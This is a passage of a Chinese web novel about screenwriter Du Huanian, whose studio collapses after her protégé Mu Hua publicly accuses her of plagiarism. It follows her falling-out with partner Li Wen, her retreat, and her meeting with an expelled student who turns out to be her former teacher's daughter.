只是她没想到,最后这个习惯,竟然防到了杜华年身上。
直播到最后,慕华声泪俱下,痛诉自己多么仰慕杜华年,能成为她旗下小编剧多么感恩满足,这次得到重用又多么受宠若惊,却没想到杜华年竟然抢夺她的作品。
“我不知道是被抄袭更痛,还是看着我的偶像江郎才尽更让我痛苦……呜呜……但是,我最后决定,为了我的偶像,我还是要用法律武器来拨乱反正,这才真的对得起我对曾经的华年姐的热爱,对得起我的青春岁月……我是个小透明,但是小透明也有被尊重的权利,我知道人人都要笑我是蚍蜉撼树,但我就要试试看!蚍蜉怎么了?蚍蜉就不能有梦想了?”慕华在镜头面前像个影后,细腻有层次地表演着愤怒、哀痛、惋惜到倔强,充满斗争精神的人设正好戳中当代青年的痛点。
“操他妈的!小娘养的绿茶!婊子!贱人!反骨仔!”视频还没看完,李雯就直接破口大骂,完全不顾来工作室讨要说法的合作方与投资方。瑜姐几乎是开了两倍速在讲电话,动用了所有关系删视频、发澄清。
好不容易安抚好了直播平台和合作方,工作室也承诺一定给投资方一个交代。李雯也骂累了,瑜姐走进她的办公室跟她说:“你冷静点,你看慕华的台词,很明显是精雕细琢写出来的,还有EMS做证据,说明她从立项开始,就在策划这一天了,连公证手续都想到了。你要是继续这么暴躁,只会对她更有利。现在事情是很大,但人们也不蠢,没到结局,没人会先下结论。我替工作室争取了一周的时间,只要能证明慕华撒谎,就能转危为安,我保证能让慕华在这个圈子消失。”
李雯听瑜姐说完,看着门外满当当的自己人,人人也都等着她的交代。她突然冷静下来,之前是真气昏头了,这个事情最快的解决办法,就是去找杜华年,让她把底稿拿出来。
“这家伙写东西喜欢用笔,对!她肯定有手写稿。阿瑜,这里先交给你,我马上去找她。”
还没等人反应,李雯已经奔出了工作室。只余满室惶惶。
14. 她说:我不想打了
杜华年已经写完了一稿。这片竹海当真是灵气充沛,她甚至开始考虑要把这三间竹屋买下来。她常常往竹林深处探索,正如她小时候,喜欢在祖母家度过夏天,因为后山有一片竹林,她总是藏在里面,假装自己是不世出的女侠。她在往西北方三十丈的小坡上发现一个大树桩子,大约原本是一棵大榕树的根,树不知所踪,只剩下这个巨大的树桩子,一旁还有一棵孤孤的银杏树,现在绿叶青翠,她想着,等到了秋天,肯定很好看。
她拖着小赵在大树桩子旁边磊了一个土灶,再架起一个三叉烤架,挂一个水壶悬下来,底下便可生火煮茶。这天,她坐在树桩子旁,灶上白果炖着鸡,架下煮着青梅酒,树桩上摆着稿纸、笔、小碗和酒杯,她喝一口酒,吃一口肉,不时写写字。
李雯不顾小男友的劝阻,飞机一落地就马不停蹄往竹海奔。她冲上山来的一路,没少磕碰,甚至摔了一跤,膝盖和手臂都擦破了皮,即便如此,小男友也还是怎么拉都拉不住。
他从未见过李雯这样子。
她冲到杜华年面前时,简直狼狈透顶,喘着气死死盯着杜华年。杜华年也从未见过她这样子,她从头到脚打量一遍李雯,见她身上背着的双肩包侧袋还装着民航特供的瓶装水,心里明了了大半:李雯本是个遇事只会先往回缩半截的性格,如果用这样一鼓作气的模样奔来,那就是塌天大祸。
“你知道慕华干了什么吗?”李雯抄起酒杯一饮而尽,“她说你抄袭。是抄袭啊!何芳芳!!她有证据,还有人公证,现在法院都立案了,她还开直播,现在天下皆知了!你最好有底稿,最好给我解释清楚,你最好……!”她最后颤抖得说不出话来。
杜华年也傻眼了。
即便是杜华年,也,傻眼了。她愣在当地,没有什么失态,甚至没有表情,但就是生硬得像一尊雕像,这是她在疯狂调用大脑。
很快,她脑子里有一根线,“咔哒”一声,连上了,“原来如此,她能忍下来,是在这等着我。”
“什么?”李雯嗅到一丝恐惧,“你什么意思?”
杜华年想拉她坐下说,被她一把甩开。杜华年叹口气,“我没有底稿。大纲、剧本都是慕华写的,我只是做了修改和写幕后故事。”
一瞬间,天旋地转,李雯向后便倒,幸好小男友一把接住了她。她扶着男友肩,红透了眼睛,喘着大气,难以置信地看着杜华年,“你真抄了人家?你!你为什么啊!芳芳啊……我……”
杜华年张嘴正要解释,李雯大颗大颗的眼泪就砸下来,砸进了酒杯里,“写不出来就不写了,抄袭?会毁了你啊!我有没有跟你讲过,你要珍惜你的天才,你就是这样给我珍惜的?啊!!!”
李雯拽着小男友开始哭,嚎啕大哭,把赶过来送米线辣椒和青菜的小赵吓了一大跳。
杜华年皱死了眉头,给小男友打眼色,要他先把李雯放地上坐好。小男友面色不虞但也照做,扶着李雯坐下,自己背过去让李雯靠着。
杜华年示意小赵煮米线,自己坐在李雯旁边,
“阿雯,剧本是她写的,但抄袭的不是我,是她。”
一语惊四座,长风来袭,竹海猎猎作响。
慕华搬进了新家,紫金山脚下的富人区别墅,只是一个衣帽间都比原来的老旧出租屋大一半。她收编杜华年工作室遣散的所有人,撤掉了潇湘馆。她甚至没有另选工作室地址,只是拆掉招牌,换了一个,就在原来杜华年叱咤风云的地方,继续叱咤风云。
只是这一次,她不用再拐进一楼偏暗的小隔间,而是踩着细高跟,用力踏出杜华年的节奏,踏上二楼。她重新装潢了杜华年的工作间,换掉了原本民国留下来的风格,珠帘改成纱帘,台灯变成提灯,窗棂也重装,变成了古代的推窗。
门似乎不用推就自己开了,她期待着焕然一新的工作间,却只看见满屋子挤满了人。她亲娘朱萍最先看见她,转身拨开一屋子男女朝她扑过来,“阿花,你发达啦!可不能忘记你这些姨妈舅舅和叔叔伯伯,妈跟你讲,你弟想要做演员,你看看,写一部戏,让他做男主角!”说着她从人堆里拉出一个男人,二十多岁,却脑满肠肥,满脸油光,她依稀认出是她弟弟,可她弟弟怎么变成这么个又丑又蠢的样子了?
人堆愈发躁动起来,亲戚们一人一句,都是要拜托她帮忙、借钱……她站在门口,看着自己精心挑选的纱帘上满是油腻的黑色手掌印,水墨地毯上全是黄色泥脚印,还有桌上的饭菜残汁,椅子上是不知哪家亲戚的小孩,穿着鞋蹦蹦跳跳,桌子上还爬着一个两三岁的婴儿,揉乱了她的稿纸,流下的口水模糊了她的手稿……
她忍无可忍,大吼一声够了!满室安静了一秒,继而人头汹涌,像海啸浪潮朝她扑来,她瞬间被淹没,窒息感令她手脚并用地挣扎。
尖锐的手机铃声响起,她骤然从梦中惊醒。
望着雪白的天花板,她满头大汗,拼命喘气,双眼发直。等待意识回笼的时候,她根本分不清刚才那一幕是梦还是现实。不停地眨眼,她终于想起身在何处,新租的房子还没搞好卫生,她又再也忍受不了原先的出租屋,于是打包了所有东西住进了颐和路上公馆改建的酒店,在阳台遥遥望去,还能看见杜华年工作室的小楼。
她爬起来,再三确定今天的日期,再反复确认没有老娘的电话和信息,才松下口气。早晨八点整,她看着排满的行程表,一时间感到现在的生活太不真实,明明几天前,她还只是个小透明。
现在,她变成了人尽皆知的慕华,被著名编剧杜华年霸凌的,从小乡村打拼到大城市的,辛苦努力的小白花编剧慕华。
她突然很想逃避,她感到深深的恐惧,她害怕还没有站稳脚跟,她的名气就传播到了远在天边的老娘耳朵里,噩梦里的场景真的出现了怎么办?
她不知道这不可控制的事态会不会留给她足够的时间,去想好怎么应付这个噩梦里的情景,它似乎是一个预警,也是一个预言。
昨天她搬进来时,路过工作室,看见大门紧锁。她直播那天晚上,工作室所有群组就都把她踢了出来,李雯亲自给她转了辞退补偿金,然后工作室所有人都将她拉黑删除,统一得让人怀疑,这是公关部瑜姐代理操作的。
她感到深深的内疚,没来由的,不管她的理智多少次训诫她,是杜华年不仁在先,可都于事无补。
她根本没有时间去好好适应现在的行程表,她想起看景那一周,杜华年飞来飞去,落了地,高跟鞋仍旧可以踏出水漫金山的节奏,可她,不行。
慕华心里一叹:我与她,竟然还有这么大的落差啊!很快她又发现:在人人都踩她一脚的时候,我最想念的,竟然还是她!
她突然意识到,她并没有远离她出生的那个小山村,她的老娘根本不是远在天边,而是近在她梦里,就在她全部的意识里。
约了她做访问的记者打电话催她,她害怕得将手机塞进枕头底,它仍旧震动不停,她又拿出来关机,再塞进枕头底。这些天,她每说一次杜华年如何霸凌她、抄袭她,心底就每多一分心虚与后怕。可是这群媒体,还在前仆后继地逼她重复说:
杜华年抄袭我。
米线吃完,酒喝干,故事也已说尽,关于《你我》,于芳生,于沈荷。
树桩子上只剩下四个空碗和酒杯。
小赵问:“其实这也属于慕华改编了小说《你我》吧?那为什么不给她一个改编的署名?”
杜华年冷笑,“她偷人家的东西,我还要给她个体面了?她就该尝尝被人偷东西的滋味!”她的态度依然强势,“何况,我又不是不给她说话的机会,她大可以告诉我她写不出来,但她找到一个可以改编的故事。可她没有,有那么多机会她都可以说,可她就是没说。我还不该给她点教训么?”
“可现在挨了教训的人,是你!是我们!”李雯突兀地吼了她一句。杜华年心底一震,神色不明地望着她。
四下静默良久。
风飒飒又起,竹叶浩荡而下。李雯一拍树桩,很干脆,“我去把沈荷找出来,你把《你我》的手写稿拿出来,我们反告慕华,绝不和解!这一波公关我们赢定了,瑜姐肯定会说:‘这简直就是教科书级别的危机反杀案例。’到时候,我们的热度会更上一个台阶。”
“不,阿雯,我不想。”杜华年竟然不同意。
李雯难以接受,“你不想搞死慕华这个小贱人吗?!不行,我一定要这个小贱人付出代价!最惨痛的那种!”
杜华年去看她的脸,愤怒的表情和扭曲的肌肉,这不像她,李雯为何突然这么激进?她一晃眼,发觉李雯的小男友也在看着她,那表情也在说:这不像她。
“阿雯,慕华想成为我,但她又不想。”杜华年缓缓地拍着她的手,“她想取代我,所以她现在最不想提起的应
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该就是我了,她希望人们看见她,看见慕华的才华,可是现在人们只看得见被我欺负了的慕华。你看,人们的重心还是在我,不管是慕华、牛华、杨华、朱华……只有是被我抄袭了,才能被大家看见。所以你觉得,她现在的日子好过吗?何况,到底抄袭的人是谁,她自己是心知肚明的,这种无尽的后怕才是最好的惩罚。”
“你觉得这样就够了?”李雯瞪着她。
“她永远会和我捆绑在一起,无论她之后做什么,都无法和我解绑,人们都会记住慕华是告了杜华年才出名的。如果她想摆脱我的阴影,她要付出比正常人多十倍不止的努力,还未必够。她还需要天赋,可是她没那么有天赋。”杜华年耐心地解释,希望能安抚李雯的暴躁。
“所以呢?”李雯却没有听懂。
杜华年无奈地看着她,犹豫再三还是说:“让一个人永远无法实现她的夙愿,难道不是最残忍的惩罚?”她说完,还叹了口气。
认真说起来,这世间没有人能逃脱这句话的诅咒。李雯听懂了,但她没有得到安抚,“所以你现在为了让她得到惩罚,就要让我们也受到惩罚?”她说着站起来,低头望着杜华年,“我好不容易做个决定……杜华年,你澄清一下会死吗?”
“澄清就一定会牵扯到沈荷,她对我很好,我不想连累她。”杜华年低着头。
“那你就能连累我?我对你不好?”李雯终于歇斯底里地吼出来,“这么多年了,杜华年,你有没有想过,你自己其实很有问题?什么事情都是你说了算,工作室要请什么人,工作室要有一个食堂,工作室不请演员,工作室不拍电视剧,剧本要有深度,不能迎合市场,不能拍只讲爱情的电影……”李雯掰着手指头数出桩桩件件,说得满脸通红,抓着心口的衣服,停下来喘气。
杜华年看着她,那神情,说不上是难以置信,但也总含着一丝丝后知后觉。
李雯抄起温酒的碗,小男友和小赵还没来得及阻止,她就一饮而尽,“砰”一声砸在树桩子上,“你觉得喵喵背叛你,你有没有想过她为什么背叛你?是你赏识她给了她机会,可是你一直强迫她按照你的想法工作,她连尝试自己想法的机会都没有!还有慕华,为什么会有今天的慕华?也是你,杜华年,是你创造了魔鬼,你当时承诺人家给署名的时候,你想过要跟我商量吗?你后来又不给她署名了,你也没跟我说过吧?就连她抄你小说你也是今天才告诉我!你自己就做完决定啦,你自己就是一个世界好啦!可我却被你连累了!你凭什么连累我?”她骂得很投入,甚至弯了腰,冲着杜华年的头嘶喊。
杜华年也被激怒了,抬起头凝视她,眼神肃杀,声音冰冷,“你能怎么被我连累?你大不了还可以回家。反正你也离不开家,离不开你妈。”她甚至说得极慢。
李雯气得发抖,“我妈怎么得罪你了?我不离开家影响我工作了?杜华年!你做人能不能不要这么自我?整个工作室上上下下这么多人,如果资金链断裂,这些人都要丢工作的!瑜姐、小赵、陈姨,还有这么多导演、摄影……我们这么多人,还比不上一个沈荷吗?”
杜华年把眼神从她脸上收回来,冷漠地看着竹林深处,“别像个怨妇,李雯。”
她又用了这样的口气,李雯心里立时凉透,最后看一眼她固执的侧脸,良久,终于转身就走。小男友不满地看了一眼杜华年,起身去追李雯。
小赵抱着缩成一团的猫猫,“华年姐,这次真的挺严重的。我听他们说好多合作方都来要违约金、赔偿金……雯姐可能真的熬不过去了……”
杜华年看着李雯的背影消失,叹口气,往后一倒,躺在了地上,卷发散成一朵飞花。眼界里出现了高高的竹顶,竹叶修修,竹枝婆娑,摇曳间,挂住了一朵云,碧蓝的天被参差围成了一个类圆。
“我好像……累了。”她说。一道烈风刮过,衣襟猎猎,碎发争先恐后地打在眼睛鼻子嘴巴上,她觉得自己可以化在风里。
猫猫挣扎着下地,跑到她身边,贴着她半趴下来。小赵蹲下来,看着她,“姐,没事的。这么多年,咱经历过这么多危机了,你每次都能把这些坏人打回去,这次也一样。”
“可是这一次我不想打了。我更喜欢这里的生活,你说,有没有一种可能,这一次的危机,根本就是我有意为之?我也许,就是不想熬过去……”
小赵睁大了眼,不敢明白她说的话。
15. 散场
一周后,杜华年回到南京。再次站在颐和路上,六月的骄阳已经有些毒辣了。
工作室大门洞开,里头黑乎乎的,了无人气。小赵试探着看她脸色,缓缓地,“雯姐发消息跟我说,她已经把人都遣散了,遣散费她负责了……”
杜华年幽幽抬手打断她。
猫猫热得直吐舌头,率先跑进了黑乎乎的工作室。
潇湘馆的灯竟然还亮着,主厨海师傅从里头走出来,“华年姐,你回来啦?饿不饿?我给你俩下碗面吧?”
小赵问,“海叔?你还没走呢?”
杜华年皱眉,“是遣散费没给够吗?”
“不是不是,”海师傅连忙摆手,“雯姐给够遣散费了,比平时工资还多了呢!我就是一直没看见你,不知道你是不是还会回来……”海师傅低下头叹一声,“唉,那时候多亏你给了我这份工作,不然我就得带着老婆孩子回老家了,我儿子现在能有出息,女儿能上这么好的学校……嗐,我说多了,你俩坐一会儿,我马上扯两碗面来。”
杜华年点点头,什么也没说,带着小赵坐在窗下她惯常的位置上。海师傅很快便端了两碗面上来,杜华年问,“下一份工作找好了么?”海师傅摇头说还没呢。
杜华年又点点头,沉默着吃完了面,和海师傅互道保重。
上了二楼,她的办公室倒是没人敢动。她拉开窗帘,在桌前坐下,打开台灯,拉开抽屉,里头是三个信封。第一封是一沓表格,整理了所有的账目、违约方、违约金额、入账账户,末尾手写了一句:遣散费和一小部分违约金我扛了,这是剩下的,我扛不动了,你自己想办法。——李雯。
第二个信封封面写着:小赵的。
第三个信封封面写着:你的。
小赵不愿意走,大眼睛泪汪汪的。杜华年拉起她手把信封放上头,“先活下去,别来烦我。”
小赵扁扁嘴,“你说话老不好听了,但是我啥时候能再见你啊姐?”
“青山不改绿水长流,后会有期,走吧。”杜华年毫无温度起伏地念完。小赵“噗”一声笑出来,哭着拿着钱走了。
杜华年给李雯发了一条语音,麻烦她给海师傅解决个工作。半晌,李雯回了个OK。
收拾了电脑、平板、书、笔记和手稿,其余的她都留在了办公室。
走出工作室大门,货拉拉已经停在院门口,师傅开始一箱箱搬她的书,她就站在梧桐树下,看着院子里的每一寸草,猫猫乖乖地趴在她脚边,把头还搭在她的脚面。
慕华不知是有意还是碰巧路过,站在院外路边,看着她背影发愣。杜华年似有所感,半转过头向后一瞥,与她视线相撞,慕华全身一震,杜华年丝毫未曾停留,将头幽幽转了回去,继续看着院子里的每一寸草。
轻视、无所谓、厌弃?不,连这些都没有,她好像只看见了一片落叶,或者一段涟漪,平凡到无法引发她眼中一丝波光。
慕华从这一回眸中读出了深深的鄙夷,她在赤裸裸地啐她一口,骂她小娘养的,骂她不配。
慕华又怕又怒,突然冲进院子,冲到她身后三米,歇斯底里喊出来,“杜华年!”
货拉拉师傅都吓了一跳,楞楞地看着她们俩。
杜华年悠悠转身,幽幽看她,仍旧像看落叶涟漪。但离着这么近,慕华看见了她眼里的隐隐笑意,好像不是笑出来的,是天生的,命运顶端的人,看底端的爬行动物时的笑意。
慕华背后一凉,想骂,想吼叫,可什么词汇都忘却,她不敢看她,慌不择路地跑了。
赔完所有违约金,杜华年只剩下一套房子,在建邺区,和秦淮区紧紧相邻。
五年前,她和李雯成立年华工作室,第一部电影拍的就是她拿奖的本子。票房三千万,成本五百万。她终于有钱了。
拿着钱,她沿着秦淮河走啊走,七拐八绕,路过这个小区门前时不自觉停了下来。那时初秋,满院金桂花开,秋风满院木樨香,清郁绵长,香飘愈远而香浓不减,她深吸一口,只觉满怀舒畅,于是走进去,选了一套两室一厅的单位,全款买下。
站在阳台上,可以遥望秦淮河夜里的灯影,她没仔细看地址时,一直以为这里还是秦淮区。她喜欢这个距离,随夜风能闻欢声笑语,望出去又似隔着一重烟水。
可惜没住几个月,工作量突然暴增,同时开三个本是基本量,最多时,她同时写五本戏。为了效率,她直接住进了工作室。再后来,又有了更多房子,她再也没回来过这里。
五周年纪念,杜华年输掉全部。
这里是开始,现在回到开始。
她没有睡在床上,那让她不安。沙发是个很有安全感的选择。但沙发对面的墙上挂着一幅半人高的照片,照片里是杜华年侧躺在石梁上,手撑着头。夏日午后的斑驳光影打在她身上,半边脸都隐去了,明亮的那半边,亮得能让人闻到盛夏焦浓的香气。她披散着卷发,穿着轻薄的蓝色纱裙和黄色衬衣,大红色的唇在明光里艳如鲜血。她的身后是滔滔不绝地江水,她的头顶是浓绿的树荫,石梁也就巴掌宽,她弯着膝盖,似乎轻松惬意地躺在午后的树荫里小憩,但其实,只要她稍微一松劲,就会滚落涛涛江水。
是的,就是她工作室里那张照片,一模一样的姿态、场景和光影,可是,在这张照片里,杜华年,睁开了眼睛。深琥珀色的眼眸,一边在阴影里深不见底,另一边在明亮的光里,流光熠熠。那眼神冷硬又锋利,充满金戈肃杀之气,立刻让这张照片有了剧烈的温差,所有的都在盛夏,可这双眼睛,来自深秋。
但也……太锋利了点,杜华年靠在沙发上,那双眼睛总盯得她发毛,干脆组装投影,用六十寸的幕布遮住它,二十四小时连播电影。她就住在了沙发上,饿了吃些速食,渴了喝酒,烟瘾犯了会去阳台,遥望着夜秦淮的烟水。
每天午夜她准时下楼丢垃圾。
她戴上菩提手串,梦里总回到高考之前。初中的林荫校道,高中的四楼走廊,同学里看得见脸的只有胡静雯。她拼命努力看书,什么也没有记住,题目一看都会,可下笔什么都写不出来。看看倒计时,距离高考,还有不到五十天。
她站在校道上急得直哭,拉着胡静雯的手问:我记得我有高考成绩,我拿到录取通知书了,能不能我只是陪你读,考完了,我还到原来的学校去报道?我只是晚一年入学而已……
胡静雯没什么反应,她抬头,看见的却不是胡静雯的脸。
而是,一张藏在久远记忆里的面孔,她以为应该模糊的,竟仍旧清晰生动的中年女人,她再抬头,看见女人头顶那棵树,是一株深秋的玉兰。
她很熟悉她,没忘记追问:行不行啊?我真的不想再考一次了,我考不到原来的分数了!
看着她汗都下来了,中年女人温柔一笑,问她:你达到我给你的分数线了吗?
她吓醒了,半睁开迷离的双眼,她什么也看不见,心里问自己:今年是哪年?我的人生走到哪里了?我考过高考了吗?
记忆慢
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慢复苏,她已经读完大学,开了工作室,又关了工作室。分数……她已经很久没有再面对过分数这种东西了。她一颗心逐渐安定下来,才看清身边环绕着肥厚的毯子,她动了动手指,发麻,勉力坐起来,甩手,叹气。
等到经脉恢复畅通,她爬下沙发,投影上正放着肖申克一遍一遍写信给政府。她胡乱擦了把脸,开始继续收拾大箱子里的书和衣服。
整个客厅,堆满了这样的大箱子。
就这样过了一周。大箱子总算收拾完了,没有那么大的衣柜,她捐掉了大部分不常穿的衣服,尤其是那些占地方的礼服,又把大部分奢侈品挂上二手网站。酒和食物也都清光了。
第八天睡醒,她洗了个澡,即便只穿了白衬衣牛仔裤,眉目仍细细描画过,戴了一套黑珍珠,牵起猫猫,走路去千帆过吃饭。
还没到秋天,闻不到桂花,她仍慢悠悠地穿过小区,这些年不是开车就是坐车,她已经不记得在初夏的黄昏时分,漫步在这座金陵故城的感觉了。
也不知道是什么日子,千帆过很忙,但姜老板还是坐在了她对面,“你好久不来,我以为你把我忘了。”她依旧细细地欣赏姜老板的脸,语气寂寞地说:“你更容易忘记我吧?”姜老板没有立即反应,眼波流转地看了她几眼才说:“我不信你抄袭的。”她挑眉挑得幽微,没说什么,只是微笑。姜老板也跟着笑了,又说:“是我弟弟,他说你不可能抄袭。还有那个朱导演,她还跟着我弟弟来吃过一次饭。她也说,她绝不信你会抄袭。”她噙着点点笑,深深地看着姜老板,“嗯。谢谢!”
鱼端了上来,竟是一个穿着厨师衣服的中年男人,围裙上还斑驳着油渍。她特意抬眼注视他,他只拘谨地点点头,放下鱼转身就走。她问,“这么忙,厨师都来上菜了,你不去帮忙吗?”姜老板给她倒上黄酒,“我弟弟没工作了,现在就在店里帮忙呢。这是我交代的,做好了鱼直接端上来,不要等人传菜了。你快尝尝看,今天这条是我亲自去网的。”
她吃了此生最好吃的一条鱼。姜老板与她一同喝了酒,兴头上来,姜老板还和她讲起了秦淮八艳的轶事,那些散落在当地民间,代代流传下来的独特风味野史,实在很好下饭。姜老板还问她最爱谁?她如实说从未想过这个问题,姜老板说她最爱李香君。
当夜,杜华年又做了一个梦,回到学校后门那条烟火充盈的巷子,再次与沈荷对面而坐,沈荷问她为什么不澄清?她说如果澄清,就会变成你抄袭,你当时是编辑,一个编辑抄袭,是十分严重的事,比一个普通人抄袭更难令人原谅。
沈荷突然变成了李雯,她哭着质问她,一个作家抄袭就不严重了?就容易原谅了?这明明是你爸的错,为什么受惩罚的却是我们?
她从梦中繁杂而庞大的哭声里惊醒,擦着颈项里水淋淋的冷汗,在床上枯坐。
猫猫舔着她手上的汗,舔着舔着翻滚出了肚皮睡着了,直到天亮。
天亮,她起身走进浴室,洗了个澡,认真挑选了一条淡蓝色长裙,随意吹干了头发,只画了眉毛和口红,没戴一件首饰,挎了个小布兜,牵着猫猫出了门。
自从大学毕业,杜华年第一次没有吹卷她的长发,第一次没有上全妆,第一次没穿高跟鞋,第一次没有拿定制手工包。
她垂下顺直的黑发,空着耳垂脖子和手腕,踩着紫白相间的帆布鞋,几近素颜,几近赤裸。没有铠甲,她几乎已经不是杜华年了。
她要回学校去看看。既然我梦到了它,她想。
16. 故人之女
行政楼前有一片小树林,杜华年坐在树下一块大石上,猫猫在一旁啃着她带来的零食牛骨头。她望着前方,无意识地看着路过的每个学生。
楼里一前一后走出一男一女,男的中年,女的就是个大学生模样。女孩似乎很不愿意离开,男人拽着她往前走,她的挣扎也有点用处,有几次她都甩脱了男人。
“嘿,这是一对父女。”她对猫猫说。猫猫看着她,汪一声。“为什么?”她解释给猫猫听,“因为一个男人如果要拖走一个女人,女人是没有可能反抗的,力量太悬殊了。可是这个女孩儿几次能甩开他的手,说明他没有真的用力,这种情况下,赌他们是父女,赢面最大。毕竟,这世间除了父女,男女之间有真爱的几率,比立刻世界毁灭还小。”
听她说完,猫猫汪汪两声。“嘘,走近了,我们听听他们说什么。”她像一个八卦的十来岁小姑娘一样竖起了耳朵,甚至侧了点头,猫猫也对着她歪了脑袋竖起耳朵。
“我不回家!是他们冤枉我,我没有造谣!”女孩儿哭喊,手腕因为挣扎一片通红。
“你还嫌不够丢人吗?学校都开除你了!跟我回家,过阵子我送你出国念个书,好歹有个文凭回来。”男人的手再次被甩开。
“你为什么不信我?你是我爸!”女孩露出了绝望的愤怒。杜华年挑眉看着猫猫,怎么样?我说对了。
“没有证据,我怎么信你?”男人的语气听起来已经到了忍耐的极限。
“他们说我造谣,又有什么证据?”女孩抬高下巴,神情轻蔑。
“你真是要气死我!你说人家副院长抄袭,可你又没有证据,这不是造谣是什么?”男人气得涨红了脸。
女孩冷笑,“哼,你什么狗屁不通的逻辑!我没有证据,只能说他抄没抄还不知道,除非他有证据证明他没抄,才能证明我造谣。用同一件事不能自证,你懂不懂?没文化!”
“你!”男人扬起手差点要打她,还是忍住了。
“你打啊!有本事你打!”女孩仰起脸,瞪着她的父亲,露出了凶狠的眼神。
她父亲用力一拍大腿,“要不是因为你妈……我真的打死你算了!”
“你别跟我提我妈!你也配?”女孩嘶声吼叫,转身就要跑,却在一瞬间和杜华年视线相撞。
杜华年觉得她今天这副模样堪称整容级换装,除非是身边人,否则她不信谁能认出她来。于是她坦荡荡地直视这叛逆姑娘,就是要告诉她,八卦她还没听够,赶紧多吵两句。
可没想到这女孩愣愣看了她几秒,凶狠、悲伤、狼狈,从她脸上依次消失,换上惊奇和难以置信。
杜华年有点熟悉这种眼神,她更加难以置信,这小孩儿,她认出我了?
眼看着叛逆女孩已经迈着大步子走过来了,杜华年一慌,滑下大石头拉起猫猫就走。可惜晚了,女孩跑了两步拦住了她,“杜华年?”
“我不是,别乱说,你认错了。”杜华年满身乱摸找不着墨镜,愤恨转身又想突围,心里骂:她娘的,我怎么就这么自信?
女孩追着她,“你不是你跑什么?你就是!你快告诉我,你到底有没有抄袭?”
又听到这个问题,杜华年还没崩溃呢,追在后头的男人先发出了哀嚎,“你怎么又污蔑别个抄袭?”
“又”这个字令杜华年感到了突如其来的疲惫,索性摆烂,“是,我是杜华年。”
叛逆女孩拿出手机打开浏览器,怼到男人脸上,“你自己看,我有没有污蔑?”
屏幕上“杜华年抄袭”的标签下,新闻条目仍然多到要翻页。男人放大手机上杜华年的照片,对着真人比来比去。
杜华年第一次感到,这个巨大的事业危机竟然会呈现得这么滑稽。哭笑不得之后,她立时来了兴致,“这位家长,你女儿刚才说的逻辑学那几句,确实有道理。不然你换个角度,既然有能力给她送出国,不如试试看找到她没说谎的证据?”
男人这才想起重点根本不在抄袭不抄袭,“你跟我回去,不管你是不是造谣,反正退学手续都下来了,还能怎么样?”
“就是你这个态度!你永远不会尽最大的努力,所以我妈才会死!”女孩的情绪又爆炸了,与刚才不同,此刻她眼泪哗啦啦往下流,像泄洪的堤坝。
男人似乎也泄了气,竟沉默了。女孩哭了一会儿,转身要走。
“你去哪儿?宿舍已经不让你住了!”男人喊她,声音里不见了愤怒,全是无力。
“不用你管,我有存款,我自己租房子,我一定要证明我没造谣。”女孩停下脚步,回过头,“我不是你,我会尽最大的努力!在最绝望的时候!”
听到最后这句,杜华年一个激灵,背脊瞬间绷直了,凌厉地转头,看着女孩离去的背影。
男人无力地看看女孩远去的背影,又无奈地看看杜华年,低头操作手机。杜华年瞥见她给女儿转账了一万元,随后男人收起手机,转身往大门方向走。
愣了一会儿,杜华年往秋湖走,宿舍区就在湖边上。到路口往右一转,叛逆女孩正等在那里,睁着红红的大眼睛看着她。
杜华年一挑眉便想明白了,这姑娘躲在这里观察,一是看她老爹走没走,二是看自己往哪里去。随即,她挂上不掩狡诈的微笑看着女孩。
“杜华年,你到底有没有抄袭?”女孩迎上一步。
女孩的眼睛又圆又大,脸颊红扑扑的,下巴上还有些许婴儿肥,扎个丸子头,一脸细碎绒毛,穿个球衣T恤,露出莲藕一样的手臂,整个人看起来很像毛茸茸的动物,可爱,但藏着野性难驯。
“我为什么要回答你?”杜华年反问。
“因为这对我来说很重要。”
“有太多人跟我讲过这句话,你怎么证明你比他们更需要答案?”
“……”女孩被问住了,她当然不是杜华年的对手。她打算退缩了,又立即鼓起勇气,抬起头,“他们为了什么我不知道,但我就只是为了答案。”
杜华年有一瞬间的惊讶,但她立即掩饰住了,“那么,你对答案已经有倾向了?”
“我当然希望你没抄袭。但我不怕知道你抄袭了。我只是想听你告诉我。”
杜华年差一点脱口而出“没有”,但今天的相遇就是一次偶然,没这个偶然,这女孩要去哪里问这个答案?于是她反问:“你到底有没有造谣?”
女孩把眼睛睁得更大了,“没有啊!”
上套了,杜华年心想,露出索然无味的嘲笑,不知道是笑自己还是笑这个世界,“除非你有证
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据证明你没造谣,才能证明他抄袭。”她玩味着,刻意缓缓说出这句话。
女孩一震,明白了,这是一件事,但这件事没有真面目,所以话可以这样说,也可以那样说,她以为自己很有道理,其实在别人那里,那个自己不是她。这就像那个薛定谔的猫,只要不打开门,谁也都只是罗生门下的行尸走肉。
关于杜华年到底抄没抄,也是一样。
女孩木愣愣地走了。
杜华年也往秋湖去,她漫不经心地跟在女孩后头走,不时欣赏猫猫漂亮的蜜桃臀。突然手机响了起来,她去翻布兜。
前头的女孩正打电话,听到她突兀的铃声回过头来。她接起电话,女孩的电话也接通了,她喂了一声,女孩听到了她的声音,在两个空间里响起。二人大眼瞪大眼。
她们并排坐在湖边石凳上,捋这个事。女孩说她看见校友论坛里的租房信息,才打的电话。杜华年花了一点时间,才从最近的纷乱里拣出“爆水管事件”。天呐,那是什么时候?去年秋天她去上海见芊芊那天,现在想起,远如隔世。
“不好意思,现在不租了。”
“为什么?不租了你又不撤帖子?”
“我不知道没撤帖子,不是我打理的。”
“谁打理的我跟谁聊。”
“现在是我打理了。”
“那租给我。”
“不行。我在住了。”
女孩又一震,“他们说你变卖房产赔违约金是真的?”
杜华年对她做了一个十分夸张的哭笑不得的表情。
“我以为你这么成功了,钱应该多到花不完……”
杜华年不知道怎么形容这个孩子,说她天真吧,但她心思可挺深;说她世故吧,可她又确实单纯。大概这就是大学生,聪明的是脑子,笨的是心,最主要心比天高,什么都敢相信。
“你和路边小贩交易,十块二十块的,可你兜里也就几百。我和投资方交易,几十万百来万的,可我兜里也不过几百万。零多了,但比例没有变。因为交易的物品不一样。”
女孩低着头也不知道想什么。杜华年打算走。
“我没地方去,你租一个房间给我就行。”她又一次抬头争取。
“我不喜欢和人同住。”杜华年拉过猫猫迈开步子。
“何芳芳!”女孩急了,“噌”一下站起来喊了一句。
杜华年顿在原地,还没转身,猫猫听到她喊,欢跳着往她脚边跑去,伸出手找她玩。
杜华年转头看着猫猫的热情模样,思索着女孩知道她本名的各种可能,至少百度百科上是决计没有写的。
“我妈叫华丽娟。”女孩又说。
“嘭——”,她的心海炸出一朵蒸汽蘑菇云,一万种可能,万万没想到是这一个。她终于抬起眼睛细细凝望女孩,在她脸上找寻,华老师的痕迹。
